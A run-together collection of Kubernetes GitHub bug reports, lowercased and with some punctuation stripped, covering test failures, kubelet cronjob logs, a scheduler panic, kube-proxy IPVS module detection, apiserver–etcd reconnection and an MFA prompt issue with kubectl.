https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/2744/  failed:  k8s.io  downward api volume should provide container's cpu limit  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:147 expected error:     < errors.errorstring | 0xc420d94a20>: {         s: \ failed to get logs from downwardapi-volume-bde43a84-a8a0-11e6-a25b-0242ac110002 for client-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods downwardapi-volume-bde43a84-a8a0-11e6-a25b-0242ac110002 \ ,     }     failed to get logs from downwardapi-volume-bde43a84-a8a0-11e6-a25b-0242ac110002 for client-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods downwardapi-volume-bde43a84-a8a0-11e6-a25b-0242ac110002  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2152

is this a bug report or feature request?  :\r  \r   what happened  :\r \r edit: this probably shows it better\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=aaaaaaaaaaaaaa\r \r i noticed this test started failing across all pr's in the pull-kubernetes-e2e-gce-bazel job this morning.\r \r first failure i noticed:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52289/pull-kubernetes-e2e-gce-bazel/16038\r \r immediately followed by a pass:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-bazel/16039\r \r started continuously failing shortly afterwards:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-e2e-gce-bazel/16063\r \r this is also apparently happening for the gke postsubmit job:\r - https://k8s-testgrid.appspot.com/release-master-blocking gke\r -  clicking the changes link for the failing test leads me to https://github.com/kubernetes/kubernetes/compare/be78d113b...991afb243 \r

 \r   what happened  :\r \r kube cronjob pods generate error-level logs despite completing successfully.\r \r sample error:\r    \r  kubelet    e1109 13:42:47.913195    1370 kuberuntime_manager.go:844  podsandboxstatus of sandbox \ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\  for pod \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \  error: rpc error: code = 2 desc = error: no such container: 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\r  kubelet    e1109 13:42:47.913241    1370 generic.go:239  pleg: ignoring events for pod mycronservice-1510234800-s7x5c/mynamespace: rpc error: code = 2 desc = error: no such container: 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\r    \r \r pod lifetime for the error above:\r    \r  kube-controller-manager-master1  i1109 13:40:09.001613       1 event.go:217  event v1.objectreference{kind:\ job\ , namespace:\ mynamespace\ , name:\ mycronservice-1510234800\ , uid:\ 80ac965e-c553-11e7-b08e-005056ae4211\ , apiversion:\ batch\ , resourceversion:\ 90301072\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: mycronservice-1510234800-s7x5c\r  kube-scheduler-master1  i1109 13:40:09.019306       1 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ mynamespace\ , name:\ mycronservice-1510234800-s7x5c\ , uid:\ 80adf6c4-c553-11e7-b08e-005056ae4211\ , apiversion:\ v1\ , resourceversion:\ 90301073\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned mycronservice-1510234800-s7x5c to knode10\r  kubelet    i1109 13:40:09.019684    1370 kubelet.go:1808  syncloop  add, \ api\  : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ \r  kube-apiserver-master2  i1109 13:40:09.023103       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  2.400647ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kube-apiserver-master2  i1109 13:40:09.029479       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c/status:  5.537139ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:40:09.326379    1370 kuberuntime_manager.go:370  no sandbox for pod \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \  can be found. need to start a new one\r  kube-apiserver-master2  i1109 13:40:09.800814       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/mycronservice-1510234800-s7x5c.14f56e8eb9567c85:  5.347825ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:40:09.826495    1370 kubelet.go:1842  syncloop  pleg : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ , event: &pleg.podlifecycleevent{id:\ 80adf6c4-c553-11e7-b08e-005056ae4211\ , type:\ containerstarted\ , data:\ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\ }\r  kube-apiserver-master2  i1109 13:40:10.162757       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/mycronservice-1510234800-s7x5c.14f56e8eb9567c85:  4.911509ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:40:10.884837    1370 kubelet.go:1842  syncloop  pleg : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ , event: &pleg.podlifecycleevent{id:\ 80adf6c4-c553-11e7-b08e-005056ae4211\ , type:\ containerstarted\ , data:\ c59fffe3f8a5fc158ae0d3383b00e92f1e61d4c652ce6b6a8601e2708783002f\ }\r  kube-apiserver-master2  i1109 13:40:10.889131       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  3.081736ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kube-apiserver-master2  i1109 13:40:10.898461       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c/status:  8.287275ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kube-apiserver-master2  i1109 13:40:11.563044       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/mycronservice-1510234800-s7x5c.14f56e8eb9567c85:  5.299011ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:40:11.909600    1370 kubelet.go:1842  syncloop  pleg : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ , event: &pleg.podlifecycleevent{id:\ 80adf6c4-c553-11e7-b08e-005056ae4211\ , type:\ containerdied\ , data:\ c59fffe3f8a5fc158ae0d3383b00e92f1e61d4c652ce6b6a8601e2708783002f\ }\r  kube-apiserver-master2  i1109 13:40:11.912961       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  2.475088ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kube-apiserver-master2  i1109 13:40:11.919980       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c/status:  6.074508ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:40:12.327703    1370 kubelet_pods.go:917  killing unwanted pod \ mycronservice-1510234800-s7x5c\ \r  kubelet    w1109 13:40:12.412762    1370 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ mycronservice-1510234800-s7x5c_mynamespace\ : unexpected command output nsenter: cannot open /proc/46707/ns/net: no such file or directory\  with error: exit status 1\r  kube-apiserver-master2  i1109 13:40:12.562280       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/mycronservice-1510234800-s7x5c.14f56e8eb9567c85:  4.54408ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    w1109 13:40:12.922072    1370 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ mycronservice-1510234800-s7x5c_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\ }\r  kubelet    i1109 13:40:12.924983    1370 kubelet.go:1842  syncloop  pleg : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ , event: &pleg.podlifecycleevent{id:\ 80adf6c4-c553-11e7-b08e-005056ae4211\ , type:\ containerdied\ , data:\ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\ }\r \r pod stderr at 13:40:12\r  mycronservice-1510234800-s7x5c  shutting down, got signal: terminated\r \r  kube-controller-manager-master1  i1109 13:42:20.395957       1 cronjob_controller.go:370  cronjob controller is deleting pod mynamespace/mycronservice-1510234800-s7x5c\r  kubelet    i1109 13:42:20.462507    1370 kubelet.go:1824  syncloop  delete, \ api\  : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ \r  kube-apiserver-master2  i1109 13:42:20.467227       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  3.606378ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kube-apiserver-master2  i1109 13:42:20.476701       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c/status:  8.470529ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    i1109 13:42:20.478580    1370 kubelet.go:1818  syncloop  remove, \ api\  : \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ \r  kubelet    i1109 13:42:20.478621    1370 kubelet.go:2002  failed to delete pod \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ , err: pod not found\r  kube-apiserver-master2  i1109 13:42:20.480226       1 wrap.go:75  delete /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  2.282308ms  404   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.48.0.35:57212 \r  kubelet    w1109 13:42:20.480290    1370 status_manager.go:465  failed to update status for pod \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \ : pods \ mycronservice-1510234800-s7x5c\  not found\r  kube-apiserver-master1  i1109 13:42:20.520123       1 wrap.go:75  delete /api/v1/namespaces/mynamespace/pods/mycronservice-1510234800-s7x5c:  123.893422ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b/cronjob-controller  127.0.0.1:60784 \r  kubelet    w1109 13:42:47.713448    1370 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ mycronservice-1510234800-s7x5c_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\ }\r  kubelet    e1109 13:42:47.913195    1370 kuberuntime_manager.go:844  podsandboxstatus of sandbox \ 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\  for pod \ mycronservice-1510234800-s7x5c_mynamespace 80adf6c4-c553-11e7-b08e-005056ae4211 \  error: rpc error: code = 2 desc = error: no such container: 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\r  kubelet    e1109 13:42:47.913241    1370 generic.go:239  pleg: ignoring events for pod mycronservice-1510234800-s7x5c/mynamespace: rpc error: code = 2 desc = error: no such container: 361e3aa81980a64ad091a3f29ce5564127ed555211d46d64c64ffb33ffbb153c\r    \r \r   what you expected to happen  :\r \r cronjob pods should only generate error-level logs if they are failing to execute their task.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kube cronjob, scheduled for once a minute.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:12:08z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: n/a  bare metal \r - os  e.g. from /etc/os-release : 16.04.1 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-89-generic\r - install tools: n/a\r - others: n/a\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  --resource  option in  kubectl create  cluster role  does not support asterisk     as below:\r \r ~~~\r   kubectl create clusterrole superrole --verb=get  --resource= \r the server doesn't have a resource type \  \ \r ~~~\r \r   what you expected to happen  :\r \r following command works fine.\r \r ~~~\r   kubectl create clusterrole superrole --verb=get  --resource= \r ~~~\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just run:\r \r ~~~\r   kubectl create clusterrole superrole --verb=get  --resource= \r the server doesn't have a resource type \  \ \r ~~~\r \r   environment  :\r \r ~~~\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when i use golang1.10.1 to build kube-scheduler using make kube-scheduler in kubernetes , a scheduler will be crashloopbackoff in cluster. but it's ok using golang 1.9.6. configure-multiple-schedulers  https://v1-8.docs.kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/ \r   i'm confused  it  was a golang bug or a kubernetes bug...  \r   what you expected to happen  :\r run ok in cluster.\r   how to reproduce it  as minimally and precisely as possible   :\r   using golang 1.10.1 version to build kube-scheduler  make kube-scheduler \r   packing a docker image with  above website instructions.\r   using above website deployment to deploy a custom scheduler.\r   the pod is error...\r   anything else we need to know?  :\r everything will be ok with golang1.9.6\r    \r e0502 09:44:05.284741       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /home/maurice/environment/golang-1.10.1/src/runtime/asm_amd64.s:573\r /home/maurice/environment/golang-1.10.1/src/runtime/panic.go:502\r /home/maurice/environment/golang-1.10.1/src/runtime/panic.go:63\r /home/maurice/environment/golang-1.10.1/src/runtime/signal_unix.go:388\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/util.go:110\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/node_info.go:469\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/cache.go:330\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:558\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:216\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:542\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:383\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:383\r /home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /home/maurice/environment/golang-1.10.1/src/runtime/asm_amd64.s:2361\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0xf00ee2 \r \r goroutine 13  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r panic 0x145cea0, 0x21e14a0 \r \t/home/maurice/environment/golang-1.10.1/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache.getnodereceivebytesrate 0xc42042439a, 0x6, 0xc400000000 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/util.go:110 +0x3c2\r k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache.  nodeinfo .setnode 0xc4202a8a50, 0xc4204e8d20, 0x2, 0xc4207d8580 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/node_info.go:469 +0x1f7\r k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache.  schedulercache .addnode 0xc420039a00, 0xc4204e8d20, 0x0, 0x0 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/cache.go:330 +0x1ca\r k8s.io/kubernetes/plugin/pkg/scheduler/factory.  configfactory .addnodetocache 0xc4202a80f0, 0x164f580, 0xc4204e8d20 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:558 +0x18d\r k8s.io/kubernetes/plugin/pkg/scheduler/factory.  configfactory . k8s.io/kubernetes/plugin/pkg/scheduler/factory.addnodetocache -fm 0x164f580, 0xc4204e8d20 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:216 +0x3e\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onadd 0xc420332990, 0xc4203329a0, 0xc4203329b0, 0x164f580, 0xc4204e8d20 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:195 +0x49\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener .run 0xc420450870 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:542 +0x247\r k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  processorlistener . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.run -fm  \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/shared_informer.go:383 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start.func1 0xc4203c2ca0, 0xc4202c02e0 \r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71 +0x4f\r created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.  group .start\r \t/home/maurice/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:69 +0x62\r \r    \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.8\r - cloud provider or hardware configuration: 4cpu 8g 11nodes 3masters\r - os  e.g. from /etc/os-release :  centos7.4\r - kernel  e.g.  uname -a  :linux master2 4.4.98-1.el7.elrepo.x86_64  1 smp wed nov 15 12:29:46 est 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r building a fully static linux kernel with  kube_proxy's desired ip_vs  virtual server  modules linked statically:\r \r config_ip_vs=y\r config_ip_vs_rr=y\r config_ip_vs_wrr=y\r config_ip_vs_sh=y\r config_nf_conntrack_ipv4=y\r \r causes kube_proxy to believe that these features don't exist because it can't find modules for them:\r \r    \r w0923 18:20:43.979259       1 proxier.go:469  failed to load kernel module ip_vs with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0923 18:20:43.979848       1 proxier.go:469  failed to load kernel module ip_vs_rr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0923 18:20:43.980415       1 proxier.go:469  failed to load kernel module ip_vs_wrr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0923 18:20:43.981481       1 proxier.go:469  failed to load kernel module ip_vs_sh with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w0923 18:20:43.982052       1 proxier.go:469  failed to load kernel module nf_conntrack_ipv4 with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r \r    \r \r   what you expected to happen  :\r \r if kube_proxy's desired kernel features are linked statically in the kernel, kube_proxy should carry on and not attempt and throw error messages about modules not being found.\r \r under the hood, kube_proxy should simply check for the existence of the desired kernel features in the /proc tree  ie:  /proc/sys/net/ipv4/vs , and others    before   attempting to look for and load modules. if, after module loads fails, then throw the error messages and switch to iptables.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. download and extract the current stable kernel source version  today it's 4.18.9  from kernel.org\r 2. copy your existing running  /boot/config-old_kernel_version  into the source tree as  .config  \r 3. run  make oldconfig  and answer any questions\r 4. run   make localyesconfig  to switch to a fully static kernel\r 4. modify  .config  and ensure the following exist, and are not  =m :\r        \r     config_ip_vs=y\r     config_ip_vs_rr=y\r     config_ip_vs_wrr=y\r     config_ip_vs_sh=y\r     config_nf_conntrack_ipv4=y\r        \r 5. run  make menuconfig  and deselect       enable loadable module support   box is empty \r 5.  make -j$ nproc  \r 7.  cp arch/x86/boot/bzimage /boot/vmlinuz-4.18.9-kube_proxy_mods_static \r 8.  cp .config /boot/config-4.18.9-kube_proxy_mods_static \r 9. regenerate your boot loader's config   grub2-mkconfig -o /boot/grub2/grub.cfg   or   grub-mkconfig -o /boot/grub/grub.cfg   depending on your distribution.\r 10. reboot and select your new kernel with the kube_proxy modules linked statically.\r 11. start kube_proxy and watch it throw the above errors about not finding the modules.\r \r   anything else we need to know?  :\r \r fully static kernels will not generate  /lib/modules/$kerne_version/modules.builtin  so inspecting that file will fail - as well in the kube_proxy source. the gold-standard is to simply check for the features in the active /proc/...  tree first, and consider those as \ built-in\ .   \r \r the next best options is checking  /boot/config-$ uname -r   for  config_<feature>=y  statements, which tells you if they're built-in.  note that  /boot/config-<version>  files are almost universally installed by os maintainers.\r \r and finally, you could try checking  /proc/config.gz , which is a compressed version of the externally held .config text file, in a similar manner noted above, however it's up to the maintainer to build that feature into the kernel  so it might not exist . \r \r for reference, here's the list of modules kube_proxy wants: https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l161\r \r here we see kube_proxy's errant module-centric code that needs to be made compatible w/ static kernels:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l433\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: on premise\r - os  e.g. from /etc/os-release : leap 15.0\r - kernel  e.g.  uname -a  : 4.18.9 statically linked\r - install tools: gcc 8.1\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when apiserver was disconnected from etcd cluster for some reason, it's not able to recover even if  the network issue was solved. \r \r   what you expected to happen  :\r apiserver should always find the available etcd to work on.\r \r   how to reproduce it  as minimally and precisely as possible   :\r suppose there was an etcd cluster with 3 nodes and one apiserver connecting to it.\r 1. cut off the network connection between etcd and apiserver.\r    \r iptables -a input -p tcp --dport 2379 -j drop\r iptables -a output -p tcp --dport 2379 -j drop\r    \r 2. after 1 min, apiserver will respond with   504 gateway timeout   from the  timeout filter  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/filters/timeout.go l37 \r log shows as follows\r    \r logging error output: \ {\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ timeout: request did not complete within 1m0s\\\ ,\\\ reason\\\ :\\\ timeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :504}\ \ \r    kubelet/v1.9.6  linux/amd64  kubernetes/73b157c  172.16.1.43:48934 \r i1010 19:31:18.290539   29187 wrap.go:42  get /api/v1/nodes/172.16.1.42:  1m0.000346629s  504\r    \r 3. recover the network on   one node  \r    \r iptables -d input -p tcp --dport 2379 -j drop\r iptables -d output -p tcp --dport 2379 -j drop\r    \r \r 4. there was a chance 2/3  apiserver still not able to server   unless restart apiserver.  \r \r   anything else we need to know?  :\r etcd cluster's client port is 2379 and peer port is 2380, so the iptable rules will not affect the internal health of etcd cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    v 1.9.6 \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r      etcd version: 3.1.18

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r execcredential providers, such as  aws-iam-authenticator  https://github.com/kubernetes-sigs/aws-iam-authenticator , that interactively prompt for user input, such as when using  mfa  https://aws.amazon.com/iam/details/mfa/ , do not work properly when calling  kubectl apply -f -  to apply from stdin.\r \r i chose to open this ticket here instead of in kubernetes-sigs/aws-iam-authenticator because it appears to me that kubectl isn't consuming the contents of stdin before invoking aws-iam-authenticator, and when aws-iam-authenticator tries to prompt the user for their mfa token, ends up reading the contents of the kubernetes resource the user is applying.\r \r i imagine that it should be possible to consume the contents of stdin before invoking the authenticator so that it can then accept input interactively from the .\r \r   what happened  :\r \r using aws-iam-authenticator with an iam role that requires an mfa token,  cat something.yaml | kubectl -f -  results in an error such as:\r \r    \r assume role mfa token code: could not get token: eof\r unable to connect to the server: getting token: exec: exit status 1\r    \r \r or\r \r    \r assume role mfa token code: could not get token: invalidparameter: 1 validation error s  found.\r - minimum field size of 6, assumeroleinput.tokencode.\r \r unable to connect to the server: getting token: exec: exit status 1\r    \r \r the error is shown immediately, before you can interact with the  assume role mfa token code:  prompt.\r \r   what you expected to happen  :\r \r -  assume role mfa token code:  to wait for interactive user input before proceeding\r - the kubernetes resource to have been applied, using a token provided by aws-iam-authenticator using the mfa token given at the interactive prompt\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. setup kubectl to use aws-iam-authenticator\r 2. create entry in  ~/.aws/config  that includes  mfa_serial \r 3. run:  echo '{}' | aws_profile=<profile from previous step> kubectl apply -f - \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.3-eks\ , gitcommit:\ 58c199a59046dbf0a13a387d3491a39213be53df\ , gittreestate:\ clean\ , builddate:\ 2018-09-21t21:00:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: eks\r - 